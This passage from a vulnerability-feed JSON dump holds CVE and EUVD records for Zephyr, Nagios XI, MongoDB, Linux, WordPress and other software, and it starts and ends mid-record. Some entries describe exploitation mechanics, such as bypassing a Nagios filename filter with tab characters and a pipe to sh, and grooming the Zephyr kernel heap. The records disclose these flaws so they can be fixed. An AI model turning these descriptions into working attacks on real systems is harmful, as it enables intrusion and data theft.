matching frame arrives. The system call verifier z_vrfy_can_add_rx_filter_msgq() in drivers/can/can_handlers.c validated the queue only with K_SYSCALL_OBJ(), which is a point-in-time check of type, initialization and caller permission and says nothing about the object's lifetime.\n\nOn a build with CONFIG_USERSPACE=y and CONFIG_DYNAMIC_OBJECTS=y, an unprivileged user-mode thread that has been granted access to a CAN device can obtain a message queue whose lifetime it fully controls: k_object_alloc(K_OBJ_MSGQ) followed by k_msgq_alloc_init(). The lifetime of such an object is driven solely by its permission bitmask, and a pointer retained by the kernel is not represented there. After registering the filter, the thread calls k_object_release() — or simply terminates — and unref_check() frees the struct k_msgq storage while the CAN driver still holds the pointer.\n\nThe next matching CAN frame causes k_msgq_put() to run in supervisor context against freed memory that the attacker can have groomed with another kernel allocation: the frame payload is memcpy()d through the reused block's write_ptr, and the queue's wait_q (and poll_events under CONFIG_POLL) list nodes are manipulated. This yields kernel-heap corruption reachable from a user-mode thread, defeating the isolation CONFIG_USERSPACE is intended to provide; the same dangling pointer also arises benignly when an application thread exits without calling can_remove_rx_filter().\n\nThe fix validates the queue with K_SYSCALL_OBJ_STATIC(), which additionally rejects objects carrying K_OBJ_FLAG_ALLOC, so only statically defined queues (CAN_MSGQ_DEFINE()) may be registered from user mode. Supervisor-mode callers bypass the verifier and must themselves keep the queue valid until the filter is removed.","published_time":"2026-11-03T13:36:08","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"zephyr","references":["https://github.com/zephyrproject-rtos/zephyr/commit/0114bee266211c72a49f3b6a914d3eaf821dd460","https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-6pxv-r7ww-3g2q"],"products":["Zephyr","Zephyr"],"vendors":["zephyrproject"]},"ghsa":null},{"cve_id":"CVE-2026-89295","summary":"In Eclipse Mnestix AAS Generator versions 0.1.0 up until but excluding 1.5.0, a practical upper bound on the client-supplied count parameter of the GET /api/v1/IdGenerator/submodelIds/{count} and GET /api/v2/IdGenerator/submodelIds/{count} endpoints is not enforced. The service generates and retains identifiers in memory before returning a response. A remote unauthenticated attacker can submit a large count to cause excessive memory consumption, potentially resulting in denial of service. Exploitation requires network access to the endpoint and successful retrieval of the ID-generation configuration from the configured backend repository.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gitlab.eclipse.org/security/cve-assignment/-/work_items/303","https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/774"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T14:17:39","euvd":{"id":"EUVD-2026-115818","description":"In Eclipse Mnestix AAS Generator versions 0.1.0 up until but excluding 1.5.0, a practical upper bound on the client-supplied count parameter of the GET /api/v1/IdGenerator/submodelIds/{count} and GET /api/v2/IdGenerator/submodelIds/{count} endpoints is not enforced. The service generates and retains identifiers in memory before returning a response. A remote unauthenticated attacker can submit a large count to cause excessive memory consumption, potentially resulting in denial of service. Exploitation requires network access to the endpoint and successful retrieval of the ID-generation configuration from the configured backend repository.","published_time":"2026-11-03T13:30:36","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"eclipse","references":["https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/774","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/303"],"products":["Eclipse Mnestix"],"vendors":["Eclipse Foundation"]},"ghsa":null},{"cve_id":"CVE-2026-85032","summary":"The MCTP over USB device class in subsys/pmci/mctp/mctp_usb.c splits RX handling across two threads: the system workqueue runs mctp_usb_class_out_work(), which parses host OUT data byte by byte and fills a packet buffer at usb->rx_pkt, while the USB device stack thread runs mctp_usb_class_disable(). The disable handler used k_work_cancel(), which removes a queued work item but returns immediately without waiting for a handler that is already running, and then called mctp_usb_reset_rx_state() to mctp_pktbuf_free() the packet buffer the worker may still be using.\n\nBoth entry points into mctp_usb_class_disable() are driven by the attached USB host: a SET_CONFIGURATION request and a USB bus reset both reach it via usbd_config_reset() in subsys/usb/device_next/usbd_config.c. A host that streams partial MCTP frames on the bulk OUT endpoint and repeatedly forces a configuration change or bus reset therefore controls both the data being parsed and the moment the teardown runs, and can retry the race indefinitely without credentials or user interaction.\n\nIf the free lands while the worker holds the pointer, the worker writes host-supplied bytes into freed memory of the dedicated MCTP heap (CONFIG_MCTP_HEAP_SIZE in subsys/pmci/mctp/mctp_memory.c), corrupting recycled buffers or sys_heap free-block metadata; this window requires genuine parallelism, i.e. CONFIG_SMP or a preemptible CONFIG_SYSTEM_WORKQUEUE_PRIORITY. With the default cooperative workqueue the worker can still yield inside mctp_bus_rx() (application callback or a control-message reply blocking in mctp_usb_tx()), after which it resumes and calls mctp_pktbuf_free(usb->rx_pkt) on a pointer the teardown has NULLed, dereferencing NULL and faulting on targets with null-pointer detection.\n\nThe fix replaces the cancel with k_work_cancel_sync() plus a new struct k_work_sync out_work_sync, so disable waits for the RX worker to finish before draining the FIFO and freeing the packet buffer. The affected code is the MCTP subsystem, which is marked experimental, built only with CONFIG_MCTP_USB.","cvss":4.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/zephyrproject-rtos/zephyr/commit/277424084e740da5d61a17f40bea3457fa593acc","https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-pp5m-jr2h-qp3f"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T14:17:38","euvd":{"id":"EUVD-2026-115820","description":"The MCTP over USB device class in subsys/pmci/mctp/mctp_usb.c splits RX handling across two threads: the system workqueue runs mctp_usb_class_out_work(), which parses host OUT data byte by byte and fills a packet buffer at usb->rx_pkt, while the USB device stack thread runs mctp_usb_class_disable(). The disable handler used k_work_cancel(), which removes a queued work item but returns immediately without waiting for a handler that is already running, and then called mctp_usb_reset_rx_state() to mctp_pktbuf_free() the packet buffer the worker may still be using.\n\nBoth entry points into mctp_usb_class_disable() are driven by the attached USB host: a SET_CONFIGURATION request and a USB bus reset both reach it via usbd_config_reset() in subsys/usb/device_next/usbd_config.c. A host that streams partial MCTP frames on the bulk OUT endpoint and repeatedly forces a configuration change or bus reset therefore controls both the data being parsed and the moment the teardown runs, and can retry the race indefinitely without credentials or user interaction.\n\nIf the free lands while the worker holds the pointer, the worker writes host-supplied bytes into freed memory of the dedicated MCTP heap (CONFIG_MCTP_HEAP_SIZE in subsys/pmci/mctp/mctp_memory.c), corrupting recycled buffers or sys_heap free-block metadata; this window requires genuine parallelism, i.e. CONFIG_SMP or a preemptible CONFIG_SYSTEM_WORKQUEUE_PRIORITY. With the default cooperative workqueue the worker can still yield inside mctp_bus_rx() (application callback or a control-message reply blocking in mctp_usb_tx()), after which it resumes and calls mctp_pktbuf_free(usb->rx_pkt) on a pointer the teardown has NULLed, dereferencing NULL and faulting on targets with null-pointer detection.\n\nThe fix replaces the cancel with k_work_cancel_sync() plus a new struct k_work_sync out_work_sync, so disable waits for the RX worker to finish before draining the FIFO and freeing the packet buffer. The affected code is the MCTP subsystem, which is marked experimental, built only with CONFIG_MCTP_USB.","published_time":"2026-11-03T13:36:05","cvss":4.8,"cvss_version":"3.1","epss":0.0,"assigner":"zephyr","references":["https://github.com/zephyrproject-rtos/zephyr/commit/277424084e740da5d61a17f40bea3457fa593acc","https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-pp5m-jr2h-qp3f"],"products":["Zephyr"],"vendors":["zephyrproject"]},"ghsa":null},{"cve_id":"CVE-2026-85033","summary":"The AVRCP Target role in subsys/bluetooth/host/classic/avrcp.c keeps its vendor-dependent response transmit state in a per-connection object selected by connection index (get_avrcp_tg()), with the per-transfer context (tid, sent_len, and the BT_AVRCP_TG_FLAG_TX_ONGOING flag) stored in the user_data of the queued response net_buf. The AVCTP teardown handler avrcp_disconnected() did not cancel tg->vd_rsp_tx_work and did not release the buffers still queued on tg->vd_rsp_tx_pending, so a link drop in the middle of a fragmented response left the buffer on the list with TX_ONGOING still set.\n\nA remote AVRCP Controller can trigger this deterministically: it issues a vendor-dependent command whose response exceeds one AVRCP fragment (for example GetElementAttributes or GetCapabilities), lets bt_avrcp_tg_vendor_tx_work() emit the START fragment, and then drops the ACL link instead of sending REQUEST_CONTINUING_RESPONSE. The AVCTP control channel requires an encrypted BR/EDR link (BT_SECURITY_L2), so the attacker must be a paired peer within radio range; no user interaction is needed.\n\nBecause the Target objects are static and reused, the next connection landing on the same connection index finds the stale buffer at the head of vd_rsp_tx_pending. Every run of the TX work sees TX_ONGOING and returns immediately, so all further vendor-dependent responses queue behind the stale head and are never sent — a persistent loss of AVRCP Target function that no timeout clears and only a reboot recovers. Each cycle also leaks one response buffer from a shallow application pool, and a new peer that sends REQUEST_CONTINUING_RESPONSE clears the stale TX_ONGOING via bt_avrcp_tg_process_continuing_cmd(), causing the un-sent remainder of the previous peer's response to be transmitted to it.\n\nThe fix cancels tg->vd_rsp_tx_work and unrefs every buffer on tg->vd_rsp_tx_pending in avrcp_disconnected(); since the TX context lives in the buffer user_data, releasing the buffers also resets the TX state machine. There is no memory corruption: the pre-fix buffer is leaked with a live reference, so no use-after-free arises.","cvss":4.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/zephyrproject-rtos/zephyr/commit/47728746bb52863607f06072c13a0a524ad6b654","https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-2fqc-xhj4-qvp7"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T14:17:38","euvd":{"id":"EUVD-2026-115821","description":"The AVRCP Target role in subsys/bluetooth/host/classic/avrcp.c keeps its vendor-dependent response transmit state in a per-connection object selected by connection index (get_avrcp_tg()), with the per-transfer context (tid, sent_len, and the BT_AVRCP_TG_FLAG_TX_ONGOING flag) stored in the user_data of the queued response net_buf. The AVCTP teardown handler avrcp_disconnected() did not cancel tg->vd_rsp_tx_work and did not release the buffers still queued on tg->vd_rsp_tx_pending, so a link drop in the middle of a fragmented response left the buffer on the list with TX_ONGOING still set.\n\nA remote AVRCP Controller can trigger this deterministically: it issues a vendor-dependent command whose response exceeds one AVRCP fragment (for example GetElementAttributes or GetCapabilities), lets bt_avrcp_tg_vendor_tx_work() emit the START fragment, and then drops the ACL link instead of sending REQUEST_CONTINUING_RESPONSE. The AVCTP control channel requires an encrypted BR/EDR link (BT_SECURITY_L2), so the attacker must be a paired peer within radio range; no user interaction is needed.\n\nBecause the Target objects are static and reused, the next connection landing on the same connection index finds the stale buffer at the head of vd_rsp_tx_pending. Every run of the TX work sees TX_ONGOING and returns immediately, so all further vendor-dependent responses queue behind the stale head and are never sent — a persistent loss of AVRCP Target function that no timeout clears and only a reboot recovers. Each cycle also leaks one response buffer from a shallow application pool, and a new peer that sends REQUEST_CONTINUING_RESPONSE clears the stale TX_ONGOING via bt_avrcp_tg_process_continuing_cmd(), causing the un-sent remainder of the previous peer's response to be transmitted to it.\n\nThe fix cancels tg->vd_rsp_tx_work and unrefs every buffer on tg->vd_rsp_tx_pending in avrcp_disconnected(); since the TX context lives in the buffer user_data, releasing the buffers also resets the TX state machine. There is no memory corruption: the pre-fix buffer is leaked with a live reference, so no use-after-free arises.","published_time":"2026-11-03T13:36:06","cvss":4.6,"cvss_version":"3.1","epss":0.0,"assigner":"zephyr","references":["https://github.com/zephyrproject-rtos/zephyr/commit/47728746bb52863607f06072c13a0a524ad6b654","https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-2fqc-xhj4-qvp7"],"products":["Zephyr"],"vendors":["zephyrproject"]},"ghsa":null},{"cve_id":"CVE-2026-120572","summary":"Incorrect boundary conditions in the Layout: Block and Inline component. This vulnerability was fixed in Firefox 159.0.1.","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://bugzilla.mozilla.org/show_bug.cgi?id=2079035","https://www.mozilla.org/security/advisories/mfsa2026-123/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T14:17:35","euvd":{"id":"EUVD-2026-115825","description":"Incorrect boundary conditions in the Layout: Block and Inline component. This vulnerability was fixed in Firefox 159.0.1.","published_time":"2026-11-03T14:00:09","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"mozilla","references":["https://bugzilla.mozilla.org/show_bug.cgi?id=2079035","https://www.mozilla.org/security/advisories/mfsa2026-123/"],"products":[],"vendors":[]},"ghsa":null},{"cve_id":"CVE-2026-119742","summary":"Nagios XI before 2026R2 contains an OS command injection vulnerability in the MIB upload feature where the install_mib() function in mibs.php sanitizes uploaded filenames with an incomplete character-substitution filter that omits semicolons, pipes, and non-space IFS whitespace characters before passing them to a grep command run via exec(). An authenticated administrator can upload a MIB file with a crafted filename using tab characters to bypass the deny-list and pipe to sh via a multipart POST request to mibs.php, resulting in arbitrary OS command execution as the web server user.","cvss":8.6,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.2,"cvss_v4":8.6,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.nagios.com/security-disclosures/nagios-xi/2026r2/","https://www.vulncheck.com/advisories/nagios-xi-2026r2-os-command-injection-via-mibs-php"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T14:17:34","euvd":{"id":"EUVD-2026-115824","description":"Nagios XI before 2026R2 contains an OS command injection vulnerability in the MIB upload feature where the install_mib() function in mibs.php sanitizes uploaded filenames with an incomplete character-substitution filter that omits semicolons, pipes, and non-space IFS whitespace characters before passing them to a grep command run via exec(). An authenticated administrator can upload a MIB file with a crafted filename using tab characters to bypass the deny-list and pipe to sh via a multipart POST request to mibs.php, resulting in arbitrary OS command execution as the web server user.","published_time":"2026-11-03T13:43:57","cvss":8.6,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://www.nagios.com/security-disclosures/nagios-xi/2026r2/","https://www.vulncheck.com/advisories/nagios-xi-2026r2-os-command-injection-via-mibs-php"],"products":["Nagios XI"],"vendors":["Nagios Enterprises, LLC"]},"ghsa":null},{"cve_id":"CVE-2026-119179","summary":"A flaw in the connection management layer of the MongoDB Node.js driver can leave a pooled network connection in the pool for reuse while data from an earlier operation is still outstanding on it. In applications that enable an optional client-side operation timeout, an unauthenticated party that can send ordinary requests to the application may cause database replies to be paired with the wrong requests. This may result in unintended disclosure of other users' records, incorrect operation results being returned, and failures of legitimate requests.","cvss":8.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.0,"cvss_v4":8.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://jira.mongodb.org/browse/NODE-7958"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T14:17:33","euvd":{"id":"EUVD-2026-115819","description":"A flaw in the connection management layer of the MongoDB Node.js driver can leave a pooled network connection in the pool for reuse while data from an earlier operation is still outstanding on it. In applications that enable an optional client-side operation timeout, an unauthenticated party that can send ordinary requests to the application may cause database replies to be paired with the wrong requests. This may result in unintended disclosure of other users' records, incorrect operation results being returned, and failures of legitimate requests.","published_time":"2026-11-03T13:33:39","cvss":8.3,"cvss_version":"4.0","epss":0.0,"assigner":"mongodb","references":["https://jira.mongodb.org/browse/NODE-7958"],"products":["Node.js Driver","Node.js Driver"],"vendors":["MONGODB"]},"ghsa":null},{"cve_id":"CVE-2026-99270","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: Fix potential UAF in reqsk_timer_handler().\n\nWhen TCP socket migration fails at inet_ehash_insert() in\nreqsk_timer_handler(), we jump to the no_ownership: label\nand free the new reqsk immediately with __reqsk_free().\n\nThus, we must stop the new reqsk's timer before jumping to the\nlabel, but the timer might be missed since the cited commit,\nresulting in UAF.\n\nAs we are in the original reqsk's timer context, we can safely\ncall timer_delete_sync() for the new reqsk.\n\nLet's pass false to __inet_csk_reqsk_queue_drop() to stop\nthe new reqsk's timer.","cvss":8.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/97c8a3c1f73d828de43a5a88e8a9a143efb2b661"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:24","euvd":{"id":"EUVD-2026-115811","description":"In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: Fix potential UAF in reqsk_timer_handler().\n\nWhen TCP socket migration fails at inet_ehash_insert() in\nreqsk_timer_handler(), we jump to the no_ownership: label\nand free the new reqsk immediately with __reqsk_free().\n\nThus, we must stop the new reqsk's timer before jumping to the\nlabel, but the timer might be missed since the cited commit,\nresulting in UAF.\n\nAs we are in the original reqsk's timer context, we can safely\ncall timer_delete_sync() for the new reqsk.\n\nLet's pass false to __inet_csk_reqsk_queue_drop() to stop\nthe new reqsk's timer.","published_time":"2026-11-03T12:32:09","cvss":8.1,"cvss_version":"3.1","epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/97c8a3c1f73d828de43a5a88e8a9a143efb2b661"],"products":["Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-65160","summary":"NVIDIA nvJPEG contains a vulnerability where an attacker could cause a divide-by-zero. A successful exploit of this vulnerability might lead to denial of service.","cvss":5.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/NVIDIA/product-security/tree/main/2026/5910","https://nvd.nist.gov/vuln/detail/CVE-2026-65160","https://www.cve.org/CVERecord?id=CVE-2026-65160"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:23","euvd":{"id":"EUVD-2026-115813","description":"NVIDIA nvJPEG contains a vulnerability where an attacker could cause a divide-by-zero. A successful exploit of this vulnerability might lead to denial of service.","published_time":"2026-11-03T13:08:35","cvss":5.5,"cvss_version":"3.1","epss":0.0,"assigner":"nvidia","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65160","https://www.cve.org/CVERecord?id=CVE-2026-65160","https://github.com/NVIDIA/product-security/tree/main/2026/5910"],"products":["nvJPEG","CUDA Toolkit"],"vendors":["NVIDIA"]},"ghsa":null},{"cve_id":"CVE-2026-76124","summary":"The BuddyBoss App plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.2.1 via the send_feedback function. This is due to insufficient file type validation that relies solely on the client-supplied Content-Type header without server-side content inspection or extension validation. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. While uploaded files are deleted after email transmission, a race condition exists during SMTP execution that allows access to the file, and files persist indefinitely when wp_mail() fails.","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://buddyboss.com/resources/buddyboss-app-plugin-releases/3-2-2/","https://www.wordfence.com/threat-intel/vulnerabilities/id/56a1219c-1163-4867-b426-7ffe9ca5dcb5?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:23","euvd":{"id":"EUVD-2026-115810","description":"The BuddyBoss App plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.2.1 via the send_feedback function. This is due to insufficient file type validation that relies solely on the client-supplied Content-Type header without server-side content inspection or extension validation. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. While uploaded files are deleted after email transmission, a race condition exists during SMTP execution that allows access to the file, and files persist indefinitely when wp_mail() fails.","published_time":"2026-11-03T12:31:54","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/56a1219c-1163-4867-b426-7ffe9ca5dcb5?source=cve","https://buddyboss.com/resources/buddyboss-app-plugin-releases/3-2-2/"],"products":["BuddyBoss App"],"vendors":["BuddyBoss"]},"ghsa":null},{"cve_id":"CVE-2026-121458","summary":"Instatic before 0.0.21 contains a missing authorization vulnerability in its AI/MCP content read tools that allows low-privileged authenticated users with ai.chat and content.edit.own capabilities to access data rows belonging to other users by calling content_get_document and content_list_documents without the object-level authorization checks enforced by the normal HTTP API. Attackers can use the MCP interface to retrieve private or unpublished draft content and enumerate rows from the posts system table, resulting in cross-user data disclosure.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/CoreBunch/Instatic/releases/tag/v0.0.21","https://github.com/CoreBunch/Instatic/security/advisories/GHSA-x5cc-8486-8qqx","https://www.vulncheck.com/advisories/instatic-before-authorization-bypass-via-mcp-content-read-tools"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:21","euvd":{"id":"EUVD-2026-115812","description":"Instatic before 0.0.21 contains a missing authorization vulnerability in its AI/MCP content read tools that allows low-privileged authenticated users with ai.chat and content.edit.own capabilities to access data rows belonging to other users by calling content_get_document and content_list_documents without the object-level authorization checks enforced by the normal HTTP API. Attackers can use the MCP interface to retrieve private or unpublished draft content and enumerate rows from the posts system table, resulting in cross-user data disclosure.","published_time":"2026-11-03T12:59:17","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/CoreBunch/Instatic/security/advisories/GHSA-x5cc-8486-8qqx","https://github.com/CoreBunch/Instatic/releases/tag/v0.0.21","https://www.vulncheck.com/advisories/instatic-before-authorization-bypass-via-mcp-content-read-tools"],"products":["Instatic"],"vendors":["CoreBunch"]},"ghsa":null},{"cve_id":"CVE-2026-108059","summary":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108059: Observaciones in ‘/Terceros/Create’;","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:19","euvd":{"id":"EUVD-2026-115808","description":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108059: Observaciones in ‘/Terceros/Create’;","published_time":"2026-11-03T12:26:48","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"INCIBE","references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"products":["ALO Suite"],"vendors":["AM System"]},"ghsa":null},{"cve_id":"CVE-2026-108060","summary":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:CVE-2026-108060: Nombre in ‘/Trabajadores/Create’.","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:19","euvd":{"id":"EUVD-2026-115809","description":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:CVE-2026-108060: Nombre in ‘/Trabajadores/Create’.","published_time":"2026-11-03T12:26:57","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"INCIBE","references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"products":["ALO Suite"],"vendors":["AM System"]},"ghsa":null},{"cve_id":"CVE-2026-108052","summary":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108052: Codigo in ‘/CategoriasFicheros/Edit/{id}’;","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:18","euvd":{"id":"EUVD-2026-115801","description":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108052: Codigo in ‘/CategoriasFicheros/Edit/{id}’;","published_time":"2026-11-03T12:26:21","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"INCIBE","references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"products":["ALO Suite"],"vendors":["AM System"]},"ghsa":null},{"cve_id":"CVE-2026-108053","summary":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108053: Nombre in ‘/CuentasCorrientes/Create’;","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:18","euvd":{"id":"EUVD-2026-115802","description":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108053: Nombre in ‘/CuentasCorrientes/Create’;","published_time":"2026-11-03T12:26:25","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"INCIBE","references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"products":["ALO Suite"],"vendors":["AM System"]},"ghsa":null},{"cve_id":"CVE-2026-108054","summary":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108054: Nombre in ‘/Familias/Edit/{id}’;","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:18","euvd":{"id":"EUVD-2026-115803","description":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108054: Nombre in ‘/Familias/Edit/{id}’;","published_time":"2026-11-03T12:26:29","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"INCIBE","references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"products":["ALO Suite"],"vendors":["AM System"]},"ghsa":null},{"cve_id":"CVE-2026-108055","summary":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s 